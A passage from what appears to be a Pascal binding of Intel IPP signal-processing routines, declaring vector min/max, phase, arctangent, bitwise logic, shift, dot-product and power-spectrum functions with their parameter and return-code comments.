function ippsMin_32f( pSrc : Ipp32fPtr ; len : Int32 ; pMin : Ipp32fPtr ): IppStatus; _ippapi
function ippsMin_64f( pSrc : Ipp64fPtr ; len : Int32 ; pMin : Ipp64fPtr ): IppStatus; _ippapi
function ippsMax_16s( pSrc : Ipp16sPtr ; len : Int32 ; pMax : Ipp16sPtr ): IppStatus; _ippapi
function ippsMax_32s( pSrc : Ipp32sPtr ; len : Int32 ; pMax : Ipp32sPtr ): IppStatus; _ippapi
function ippsMax_32f( pSrc : Ipp32fPtr ; len : Int32 ; pMax : Ipp32fPtr ): IppStatus; _ippapi
function ippsMax_64f( pSrc : Ipp64fPtr ; len : Int32 ; pMax : Ipp64fPtr ): IppStatus; _ippapi
function ippsMinMax_8u( pSrc : Ipp8uPtr ; len : Int32 ; pMin : Ipp8uPtr ; pMax : Ipp8uPtr ): IppStatus; _ippapi
function ippsMinMax_16u( pSrc : Ipp16uPtr ; len : Int32 ; pMin : Ipp16uPtr ; pMax : Ipp16uPtr ): IppStatus; _ippapi
function ippsMinMax_16s( pSrc : Ipp16sPtr ; len : Int32 ; pMin : Ipp16sPtr ; pMax : Ipp16sPtr ): IppStatus; _ippapi
function ippsMinMax_32u( pSrc : Ipp32uPtr ; len : Int32 ; pMin : Ipp32uPtr ; pMax : Ipp32uPtr ): IppStatus; _ippapi
function ippsMinMax_32s( pSrc : Ipp32sPtr ; len : Int32 ; pMin : Ipp32sPtr ; pMax : Ipp32sPtr ): IppStatus; _ippapi
function ippsMinMax_32f( pSrc : Ipp32fPtr ; len : Int32 ; pMin : Ipp32fPtr ; pMax : Ipp32fPtr ): IppStatus; _ippapi
function ippsMinMax_64f( pSrc : Ipp64fPtr ; len : Int32 ; pMin : Ipp64fPtr ; pMax : Ipp64fPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippsMinAbs, ippsMaxAbs
Purpose: Returns the minimum/maximum absolute value of a vector.
Parameters:
pSrc - Pointer to the source vector.
len - Length of the vector.
pMinAbs - Pointer to the result.
pMaxAbs - Pointer to the result.
Returns:
ippStsNoErr - OK.
ippStsNullPtrErr - Error when any of the specified pointers is NULL.
ippStsSizeErr - Error when length of the vector is less or equal 0.
}
function ippsMinAbs_16s( pSrc : Ipp16sPtr ; len : Int32 ; pMinAbs : Ipp16sPtr ): IppStatus; _ippapi
function ippsMinAbs_32s( pSrc : Ipp32sPtr ; len : Int32 ; pMinAbs : Ipp32sPtr ): IppStatus; _ippapi
function ippsMinAbs_32f( pSrc : Ipp32fPtr ; len : Int32 ; pMinAbs : Ipp32fPtr ): IppStatus; _ippapi
function ippsMinAbs_64f( pSrc : Ipp64fPtr ; len : Int32 ; pMinAbs : Ipp64fPtr ): IppStatus; _ippapi
function ippsMaxAbs_16s( pSrc : Ipp16sPtr ; len : Int32 ; pMaxAbs : Ipp16sPtr ): IppStatus; _ippapi
function ippsMaxAbs_32s( pSrc : Ipp32sPtr ; len : Int32 ; pMaxAbs : Ipp32sPtr ): IppStatus; _ippapi
function ippsMaxAbs_32f( pSrc : Ipp32fPtr ; len : Int32 ; pMaxAbs : Ipp32fPtr ): IppStatus; _ippapi
function ippsMaxAbs_64f( pSrc : Ipp64fPtr ; len : Int32 ; pMaxAbs : Ipp64fPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippsMinIndx, ippsMaxIndx
Purpose: Find element with min/max value and return the value and the index.
Parameters:
pSrc - Pointer to the input vector.
len - Length of the vector.
pMin - Pointer to min value found.
pMax - Pointer to max value found.
pIndx - Pointer to index of the first min/max value, may be NULL.
pMinIndx - Pointer to index of the first minimum value.
pMaxIndx - Pointer to index of the first maximum value.
Returns:
ippStsNoErr - OK.
ippStsNullPtrErr - Error when any of the specified pointers is NULL.
ippStsSizeErr - Error when length of the vector is less or equal 0.
}
function ippsMinIndx_16s( pSrc : Ipp16sPtr ; len : Int32 ; pMin : Ipp16sPtr ; pIndx : Int32Ptr ): IppStatus; _ippapi
function ippsMinIndx_32s( pSrc : Ipp32sPtr ; len : Int32 ; pMin : Ipp32sPtr ; pIndx : Int32Ptr ): IppStatus; _ippapi
function ippsMinIndx_32f( pSrc : Ipp32fPtr ; len : Int32 ; pMin : Ipp32fPtr ; pIndx : Int32Ptr ): IppStatus; _ippapi
function ippsMinIndx_64f( pSrc : Ipp64fPtr ; len : Int32 ; pMin : Ipp64fPtr ; pIndx : Int32Ptr ): IppStatus; _ippapi
function ippsMaxIndx_16s( pSrc : Ipp16sPtr ; len : Int32 ; pMax : Ipp16sPtr ; pIndx : Int32Ptr ): IppStatus; _ippapi
function ippsMaxIndx_32s( pSrc : Ipp32sPtr ; len : Int32 ; pMax : Ipp32sPtr ; pIndx : Int32Ptr ): IppStatus; _ippapi
function ippsMaxIndx_32f( pSrc : Ipp32fPtr ; len : Int32 ; pMax : Ipp32fPtr ; pIndx : Int32Ptr ): IppStatus; _ippapi
function ippsMaxIndx_64f( pSrc : Ipp64fPtr ; len : Int32 ; pMax : Ipp64fPtr ; pIndx : Int32Ptr ): IppStatus; _ippapi
function ippsMinMaxIndx_8u( pSrc : Ipp8uPtr ; len : Int32 ; pMin : Ipp8uPtr ; pMinIndx : Int32Ptr ; pMax : Ipp8uPtr ; pMaxIndx : Int32Ptr ): IppStatus; _ippapi
function ippsMinMaxIndx_16u( pSrc : Ipp16uPtr ; len : Int32 ; pMin : Ipp16uPtr ; pMinIndx : Int32Ptr ; pMax : Ipp16uPtr ; pMaxIndx : Int32Ptr ): IppStatus; _ippapi
function ippsMinMaxIndx_16s( pSrc : Ipp16sPtr ; len : Int32 ; pMin : Ipp16sPtr ; pMinIndx : Int32Ptr ; pMax : Ipp16sPtr ; pMaxIndx : Int32Ptr ): IppStatus; _ippapi
function ippsMinMaxIndx_32u( pSrc : Ipp32uPtr ; len : Int32 ; pMin : Ipp32uPtr ; pMinIndx : Int32Ptr ; pMax : Ipp32uPtr ; pMaxIndx : Int32Ptr ): IppStatus; _ippapi
function ippsMinMaxIndx_32s( pSrc : Ipp32sPtr ; len : Int32 ; pMin : Ipp32sPtr ; pMinIndx : Int32Ptr ; pMax : Ipp32sPtr ; pMaxIndx : Int32Ptr ): IppStatus; _ippapi
function ippsMinMaxIndx_32f( pSrc : Ipp32fPtr ; len : Int32 ; pMin : Ipp32fPtr ; pMinIndx : Int32Ptr ; pMax : Ipp32fPtr ; pMaxIndx : Int32Ptr ): IppStatus; _ippapi
function ippsMinMaxIndx_64f( pSrc : Ipp64fPtr ; len : Int32 ; pMin : Ipp64fPtr ; pMinIndx : Int32Ptr ; pMax : Ipp64fPtr ; pMaxIndx : Int32Ptr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippsMinAbsIndx, ippsMaxAbsIndx
Purpose: Returns the min/max absolute value of a vector and the index of the corresponding element.
Parameters:
pSrc - Pointer to the input vector.
len - Length of the vector.
pMinAbs - Pointer to the min absolute value found.
pMaxAbs - Pointer to the max absolute value found.
pMinIndx - Pointer to index of the first minimum absolute value.
pMaxIndx - Pointer to index of the first maximum absolute value.
Returns:
ippStsNoErr - OK.
ippStsNullPtrErr - Error when any of the specified pointers is NULL.
ippStsSizeErr - Error when length of the vector is less or equal 0.
}
function ippsMinAbsIndx_16s( pSrc : Ipp16sPtr ; len : Int32 ; pMinAbs : Ipp16sPtr ; pIndx : Int32Ptr ): IppStatus; _ippapi
function ippsMinAbsIndx_32s( pSrc : Ipp32sPtr ; len : Int32 ; pMinAbs : Ipp32sPtr ; pIndx : Int32Ptr ): IppStatus; _ippapi
function ippsMaxAbsIndx_16s( pSrc : Ipp16sPtr ; len : Int32 ; pMaxAbs : Ipp16sPtr ; pIndx : Int32Ptr ): IppStatus; _ippapi
function ippsMaxAbsIndx_32s( pSrc : Ipp32sPtr ; len : Int32 ; pMaxAbs : Ipp32sPtr ; pIndx : Int32Ptr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippsMinEvery, ippsMaxEvery
Purpose: Calculation min/max value for every element of two vectors.
Parameters:
pSrc - Pointer to the first input vector.
pSrcDst - Pointer to the second input vector which stores the result.
pSrc1 - Pointer to the first input vector.
pSrc2 - Pointer to the second input vector.
pDst - Pointer to the destination vector.
len - Length of the vector.
Returns:
ippStsNoErr - OK.
ippStsNullPtrErr - Error when any of the specified pointers is NULL.
ippStsSizeErr - Error when length of the vector is less or equal 0.
}
function ippsMinEvery_8u_I( pSrc : Ipp8uPtr ; pSrcDst : Ipp8uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsMinEvery_16u_I( pSrc : Ipp16uPtr ; pSrcDst : Ipp16uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsMinEvery_16s_I( pSrc : Ipp16sPtr ; pSrcDst : Ipp16sPtr ; len : Int32 ): IppStatus; _ippapi
function ippsMinEvery_32s_I( pSrc : Ipp32sPtr ; pSrcDst : Ipp32sPtr ; len : Int32 ): IppStatus; _ippapi
function ippsMinEvery_32f_I( pSrc : Ipp32fPtr ; pSrcDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsMinEvery_64f_I( pSrc : Ipp64fPtr ; pSrcDst : Ipp64fPtr ; len : Ipp32u ): IppStatus; _ippapi
function ippsMinEvery_8u( pSrc1 : Ipp8uPtr ; pSrc2 : Ipp8uPtr ; pDst : Ipp8uPtr ; len : Ipp32u ): IppStatus; _ippapi
function ippsMinEvery_16u( pSrc1 : Ipp16uPtr ; pSrc2 : Ipp16uPtr ; pDst : Ipp16uPtr ; len : Ipp32u ): IppStatus; _ippapi
function ippsMinEvery_32f( pSrc1 : Ipp32fPtr ; pSrc2 : Ipp32fPtr ; pDst : Ipp32fPtr ; len : Ipp32u ): IppStatus; _ippapi
function ippsMinEvery_64f( pSrc1 : Ipp64fPtr ; pSrc2 : Ipp64fPtr ; pDst : Ipp64fPtr ; len : Ipp32u ): IppStatus; _ippapi
function ippsMaxEvery_8u_I( pSrc : Ipp8uPtr ; pSrcDst : Ipp8uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsMaxEvery_16u_I( pSrc : Ipp16uPtr ; pSrcDst : Ipp16uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsMaxEvery_16s_I( pSrc : Ipp16sPtr ; pSrcDst : Ipp16sPtr ; len : Int32 ): IppStatus; _ippapi
function ippsMaxEvery_32s_I( pSrc : Ipp32sPtr ; pSrcDst : Ipp32sPtr ; len : Int32 ): IppStatus; _ippapi
function ippsMaxEvery_32f_I( pSrc : Ipp32fPtr ; pSrcDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsMaxEvery_64f_I( pSrc : Ipp64fPtr ; pSrcDst : Ipp64fPtr ; len : Ipp32u ): IppStatus; _ippapi
function ippsMaxEvery_8u( pSrc1 : Ipp8uPtr ; pSrc2 : Ipp8uPtr ; pDst : Ipp8uPtr ; len : Ipp32u ): IppStatus; _ippapi
function ippsMaxEvery_16u( pSrc1 : Ipp16uPtr ; pSrc2 : Ipp16uPtr ; pDst : Ipp16uPtr ; len : Ipp32u ): IppStatus; _ippapi
function ippsMaxEvery_32f( pSrc1 : Ipp32fPtr ; pSrc2 : Ipp32fPtr ; pDst : Ipp32fPtr ; len : Ipp32u ): IppStatus; _ippapi
function ippsMaxEvery_64f( pSrc1 : Ipp64fPtr ; pSrc2 : Ipp64fPtr ; pDst : Ipp64fPtr ; len : Ipp32u ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names:
ippsPhase_64fc
ippsPhase_32fc
ippsPhase_16sc_Sfs
ippsPhase_16sc32f
Purpose:
Compute the phase (in radians) of complex vector elements.
Parameters:
pSrcRe - an input complex vector
pDst - an output vector to store the phase components;
len - a length of the arrays.
scaleFactor - a scale factor of output results (only for integer data)
Return:
ippStsNoErr Ok
ippStsNullPtrErr Some of pointers to input or output data are NULL
ippStsBadSizeErr The length of the arrays is less or equal zero
}
function ippsPhase_64fc( pSrc : Ipp64fcPtr ; pDst : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsPhase_32fc( pSrc : Ipp32fcPtr ; pDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsPhase_16sc32f( pSrc : Ipp16scPtr ; pDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsPhase_16sc_Sfs( pSrc : Ipp16scPtr ; pDst : Ipp16sPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names:
ippsPhase_64f
ippsPhase_32f
ippsPhase_16s_Sfs
ippsPhase_16s32f
Purpose:
Compute the phase of complex data formed as two real vectors.
Parameters:
pSrcRe - an input vector containing a real part of complex data
pSrcIm - an input vector containing an imaginary part of complex data
pDst - an output vector to store the phase components
len - a length of the arrays.
scaleFactor - a scale factor of output results (only for integer data)
Return:
ippStsNoErr Ok
ippStsNullPtrErr Some of pointers to input or output data are NULL
ippStsBadSizeErr The length of the arrays is less or equal zero
}
function ippsPhase_64f( pSrcRe : Ipp64fPtr ; pSrcIm : Ipp64fPtr ; pDst : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsPhase_32f( pSrcRe : Ipp32fPtr ; pSrcIm : Ipp32fPtr ; pDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsPhase_16s_Sfs( pSrcRe : Ipp16sPtr ; pSrcIm : Ipp16sPtr ; pDst : Ipp16sPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsPhase_16s32f( pSrcRe : Ipp16sPtr ; pSrcIm : Ipp16sPtr ; pDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names:
ippsMaxOrder_64f
ippsMaxOrder_32f
ippsMaxOrder_32s
ippsMaxOrder_16s
Purpose:
Determines the maximal number of binary digits for data representation.
Parameters:
pSrc The pointer on input signal vector.
pOrder Pointer to result value.
len The length of the input vector.
Return:
ippStsNoErr Ok
ippStsNullPtrErr Some of pointers to input or output data are NULL
ippStsSizeErr The length of the arrays is less or equal zero
ippStsNanArg If not a number is met in a input value
}
function ippsMaxOrder_64f( pSrc : Ipp64fPtr ; len : Int32 ; pOrder : Int32Ptr ): IppStatus; _ippapi
function ippsMaxOrder_32f( pSrc : Ipp32fPtr ; len : Int32 ; pOrder : Int32Ptr ): IppStatus; _ippapi
function ippsMaxOrder_32s( pSrc : Ipp32sPtr ; len : Int32 ; pOrder : Int32Ptr ): IppStatus; _ippapi
function ippsMaxOrder_16s( pSrc : Ipp16sPtr ; len : Int32 ; pOrder : Int32Ptr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippsArctan
Purpose: compute arctangent value for all elements of the source vector
Return:
stsNoErr Ok
stsNullPtrErr Some of pointers to input or output data are NULL
stsBadSizeErr The length of the arrays is less or equal zero
Parameters:
pSrcDst pointer to the source/destination vector
pSrc pointer to the source vector
pDst pointer to the destination vector
len a length of the array
}
function ippsArctan_32f_I( pSrcDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsArctan_32f( pSrc : Ipp32fPtr ; pDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsArctan_64f_I( pSrcDst : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsArctan_64f( pSrc : Ipp64fPtr ; pDst : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsFindNearestOne
Purpose: Searches the table for an element closest to the reference value
and returns its value and index
Context:
Returns: IppStatus
ippStsNoErr Ok
ippStsNullPtrErr At least one of the specified pointers is NULL
ippStsSizeErr The length of the table is less than or equal to zero
Parameters:
inpVal reference Value
pOutVal pointer to the found value
pOutIndx pointer to the found index
pTable table for search
tblLen length of the table
Notes:
The table should contain monotonically increasing values
}
function ippsFindNearestOne_16u( inpVal : Ipp16u ; pOutVal : Ipp16uPtr ; pOutIndex : Int32Ptr ; pTable : Ipp16uPtr ; tblLen : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsFindNearest
Purpose: Searches the table for elements closest to the reference values
and the their indexes
Context:
Returns: IppStatus
ippStsNoErr Ok
ippStsNullPtrErr At least one of the specified pointers is NULL
ippStsSizeErr The length of table or pVals is less than or equal to zero
Parameters:
pVals pointer to the reference values vector
pOutVals pointer to the vector with the found values
pOutIndexes pointer to the array with indexes of the found elements
len length of the input vector
pTable table for search
tblLen length of the table
Notes:
The table should contain monotonically increasing values
}
function ippsFindNearest_16u( pVals : Ipp16uPtr ; pOutVals : Ipp16uPtr ; pOutIndexes : Int32Ptr ; len : Int32 ; pTable : Ipp16uPtr ; tblLen : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Vector logical functions
------------------------------------------------------------------------------
Names: ippsAnd, ippsOr, ippsXor, ippsNot, ippsLShiftC, ippsRShiftC
Purpose: logical operations and vector shifts
Parameters:
val 1) value to be ANDed/ORed/XORed with each element of the vector (And, Or, Xor);
2) position`s number which vector elements to be SHIFTed on (ShiftC)
pSrc pointer to input vector
pSrcDst pointer to input/output vector
pSrc1 pointer to first input vector
pSrc2 pointer to second input vector
pDst pointer to output vector
len vector`s length
Return:
ippStsNullPtrErr pointer(s) to the data is NULL
ippStsSizeErr vector`s length is less or equal zero
ippStsShiftErr shift`s value is less zero
ippStsNoErr otherwise
}
function ippsAndC_8u_I( val : Ipp8u ; pSrcDst : Ipp8uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsAndC_8u( pSrc : Ipp8uPtr ; val : Ipp8u ; pDst : Ipp8uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsAndC_16u_I( val : Ipp16u ; pSrcDst : Ipp16uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsAndC_16u( pSrc : Ipp16uPtr ; val : Ipp16u ; pDst : Ipp16uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsAndC_32u_I( val : Ipp32u ; pSrcDst : Ipp32uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsAndC_32u( pSrc : Ipp32uPtr ; val : Ipp32u ; pDst : Ipp32uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsAnd_8u_I( pSrc : Ipp8uPtr ; pSrcDst : Ipp8uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsAnd_8u( pSrc1 : Ipp8uPtr ; pSrc2 : Ipp8uPtr ; pDst : Ipp8uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsAnd_16u_I( pSrc : Ipp16uPtr ; pSrcDst : Ipp16uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsAnd_16u( pSrc1 : Ipp16uPtr ; pSrc2 : Ipp16uPtr ; pDst : Ipp16uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsAnd_32u_I( pSrc : Ipp32uPtr ; pSrcDst : Ipp32uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsAnd_32u( pSrc1 : Ipp32uPtr ; pSrc2 : Ipp32uPtr ; pDst : Ipp32uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsOrC_8u_I( val : Ipp8u ; pSrcDst : Ipp8uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsOrC_8u( pSrc : Ipp8uPtr ; val : Ipp8u ; pDst : Ipp8uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsOrC_16u_I( val : Ipp16u ; pSrcDst : Ipp16uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsOrC_16u( pSrc : Ipp16uPtr ; val : Ipp16u ; pDst : Ipp16uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsOrC_32u_I( val : Ipp32u ; pSrcDst : Ipp32uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsOrC_32u( pSrc : Ipp32uPtr ; val : Ipp32u ; pDst : Ipp32uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsOr_8u_I( pSrc : Ipp8uPtr ; pSrcDst : Ipp8uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsOr_8u( pSrc1 : Ipp8uPtr ; pSrc2 : Ipp8uPtr ; pDst : Ipp8uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsOr_16u_I( pSrc : Ipp16uPtr ; pSrcDst : Ipp16uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsOr_16u( pSrc1 : Ipp16uPtr ; pSrc2 : Ipp16uPtr ; pDst : Ipp16uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsOr_32u_I( pSrc : Ipp32uPtr ; pSrcDst : Ipp32uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsOr_32u( pSrc1 : Ipp32uPtr ; pSrc2 : Ipp32uPtr ; pDst : Ipp32uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsXorC_8u_I( val : Ipp8u ; pSrcDst : Ipp8uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsXorC_8u( pSrc : Ipp8uPtr ; val : Ipp8u ; pDst : Ipp8uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsXorC_16u_I( val : Ipp16u ; pSrcDst : Ipp16uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsXorC_16u( pSrc : Ipp16uPtr ; val : Ipp16u ; pDst : Ipp16uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsXorC_32u_I( val : Ipp32u ; pSrcDst : Ipp32uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsXorC_32u( pSrc : Ipp32uPtr ; val : Ipp32u ; pDst : Ipp32uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsXor_8u_I( pSrc : Ipp8uPtr ; pSrcDst : Ipp8uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsXor_8u( pSrc1 : Ipp8uPtr ; pSrc2 : Ipp8uPtr ; pDst : Ipp8uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsXor_16u_I( pSrc : Ipp16uPtr ; pSrcDst : Ipp16uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsXor_16u( pSrc1 : Ipp16uPtr ; pSrc2 : Ipp16uPtr ; pDst : Ipp16uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsXor_32u_I( pSrc : Ipp32uPtr ; pSrcDst : Ipp32uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsXor_32u( pSrc1 : Ipp32uPtr ; pSrc2 : Ipp32uPtr ; pDst : Ipp32uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsNot_8u_I( pSrcDst : Ipp8uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsNot_8u( pSrc : Ipp8uPtr ; pDst : Ipp8uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsNot_16u_I( pSrcDst : Ipp16uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsNot_16u( pSrc : Ipp16uPtr ; pDst : Ipp16uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsNot_32u_I( pSrcDst : Ipp32uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsNot_32u( pSrc : Ipp32uPtr ; pDst : Ipp32uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsLShiftC_8u_I( val : Int32 ; pSrcDst : Ipp8uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsLShiftC_8u( pSrc : Ipp8uPtr ; val : Int32 ; pDst : Ipp8uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsLShiftC_16u_I( val : Int32 ; pSrcDst : Ipp16uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsLShiftC_16u( pSrc : Ipp16uPtr ; val : Int32 ; pDst : Ipp16uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsLShiftC_16s_I( val : Int32 ; pSrcDst : Ipp16sPtr ; len : Int32 ): IppStatus; _ippapi
function ippsLShiftC_16s( pSrc : Ipp16sPtr ; val : Int32 ; pDst : Ipp16sPtr ; len : Int32 ): IppStatus; _ippapi
function ippsLShiftC_32s_I( val : Int32 ; pSrcDst : Ipp32sPtr ; len : Int32 ): IppStatus; _ippapi
function ippsLShiftC_32s( pSrc : Ipp32sPtr ; val : Int32 ; pDst : Ipp32sPtr ; len : Int32 ): IppStatus; _ippapi
function ippsRShiftC_8u_I( val : Int32 ; pSrcDst : Ipp8uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsRShiftC_8u( pSrc : Ipp8uPtr ; val : Int32 ; pDst : Ipp8uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsRShiftC_16u_I( val : Int32 ; pSrcDst : Ipp16uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsRShiftC_16u( pSrc : Ipp16uPtr ; val : Int32 ; pDst : Ipp16uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsRShiftC_16s_I( val : Int32 ; pSrcDst : Ipp16sPtr ; len : Int32 ): IppStatus; _ippapi
function ippsRShiftC_16s( pSrc : Ipp16sPtr ; val : Int32 ; pDst : Ipp16sPtr ; len : Int32 ): IppStatus; _ippapi
function ippsRShiftC_32s_I( val : Int32 ; pSrcDst : Ipp32sPtr ; len : Int32 ): IppStatus; _ippapi
function ippsRShiftC_32s( pSrc : Ipp32sPtr ; val : Int32 ; pDst : Ipp32sPtr ; len : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Dot Product Functions
------------------------------------------------------------------------------
Name: ippsDotProd
Purpose: compute Dot Product value
Arguments:
pSrc1 pointer to the source vector
pSrc2 pointer to the another source vector
len vector`s length, number of items
pDp pointer to the result
scaleFactor scale factor value
Return:
ippStsNullPtrErr pointer(s) pSrc pDst is NULL
ippStsSizeErr length of the vectors is less or equal 0
ippStsNoErr otherwise
Notes:
the functions don`t conjugate one of the source vectors
}
function ippsDotProd_32f( pSrc1 : Ipp32fPtr ; pSrc2 : Ipp32fPtr ; len : Int32 ; pDp : Ipp32fPtr ): IppStatus; _ippapi
function ippsDotProd_32fc( pSrc1 : Ipp32fcPtr ; pSrc2 : Ipp32fcPtr ; len : Int32 ; pDp : Ipp32fcPtr ): IppStatus; _ippapi
function ippsDotProd_32f32fc( pSrc1 : Ipp32fPtr ; pSrc2 : Ipp32fcPtr ; len : Int32 ; pDp : Ipp32fcPtr ): IppStatus; _ippapi
function ippsDotProd_64f( pSrc1 : Ipp64fPtr ; pSrc2 : Ipp64fPtr ; len : Int32 ; pDp : Ipp64fPtr ): IppStatus; _ippapi
function ippsDotProd_64fc( pSrc1 : Ipp64fcPtr ; pSrc2 : Ipp64fcPtr ; len : Int32 ; pDp : Ipp64fcPtr ): IppStatus; _ippapi
function ippsDotProd_64f64fc( pSrc1 : Ipp64fPtr ; pSrc2 : Ipp64fcPtr ; len : Int32 ; pDp : Ipp64fcPtr ): IppStatus; _ippapi
function ippsDotProd_16s64s( pSrc1 : Ipp16sPtr ; pSrc2 : Ipp16sPtr ; len : Int32 ; pDp : Ipp64sPtr ): IppStatus; _ippapi
function ippsDotProd_16sc64sc( pSrc1 : Ipp16scPtr ; pSrc2 : Ipp16scPtr ; len : Int32 ; pDp : Ipp64scPtr ): IppStatus; _ippapi
function ippsDotProd_16s16sc64sc( pSrc1 : Ipp16sPtr ; pSrc2 : Ipp16scPtr ; len : Int32 ; pDp : Ipp64scPtr ): IppStatus; _ippapi
function ippsDotProd_16s32f( pSrc1 : Ipp16sPtr ; pSrc2 : Ipp16sPtr ; len : Int32 ; pDp : Ipp32fPtr ): IppStatus; _ippapi
function ippsDotProd_32f64f( pSrc1 : Ipp32fPtr ; pSrc2 : Ipp32fPtr ; len : Int32 ; pDp : Ipp64fPtr ): IppStatus; _ippapi
function ippsDotProd_32fc64fc( pSrc1 : Ipp32fcPtr ; pSrc2 : Ipp32fcPtr ; len : Int32 ; pDp : Ipp64fcPtr ): IppStatus; _ippapi
function ippsDotProd_32f32fc64fc( pSrc1 : Ipp32fPtr ; pSrc2 : Ipp32fcPtr ; len : Int32 ; pDp : Ipp64fcPtr ): IppStatus; _ippapi
function ippsDotProd_16s32s_Sfs( pSrc1 : Ipp16sPtr ; pSrc2 : Ipp16sPtr ; len : Int32 ; pDp : Ipp32sPtr ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsDotProd_32s_Sfs( pSrc1 : Ipp32sPtr ; pSrc2 : Ipp32sPtr ; len : Int32 ; pDp : Ipp32sPtr ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsDotProd_16s32s32s_Sfs( pSrc1 : Ipp16sPtr ; pSrc2 : Ipp32sPtr ; len : Int32 ; pDp : Ipp32sPtr ; scaleFactor : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names:
ippsPowerSpectr_64fc
ippsPowerSpectr_32fc
ippsPowerSpectr_16sc_Sfs
ippsPowerSpectr_16sc32f
Purpose:
Compute the power spectrum of complex vector
Parameters:
pSrcRe - pointer to the real part of input vector.
pSrcIm - pointer to the image part of input vector.
pDst - pointer to the result.
len - vector length.
scaleFactor - scale factor for rezult (only for integer data).
Return:
ippStsNullPtrErr indicates that one or more pointers to the data is NULL.
ippStsSizeErr indicates that vector length is less or equal zero.
ippStsNoErr otherwise.
}
function ippsPowerSpectr_64fc( pSrc : Ipp64fcPtr ; pDst : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsPowerSpectr_32fc( pSrc : Ipp32fcPtr ; pDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsPowerSpectr_16sc_Sfs( pSrc : Ipp16scPtr ; pDst : Ipp16sPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsPowerSpectr_16sc32f( pSrc : Ipp16scPtr ; pDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names:
ippsPowerSpectr_64f
ippsPowerSpectr_32f
ippsPowerSpectr_16s_Sfs
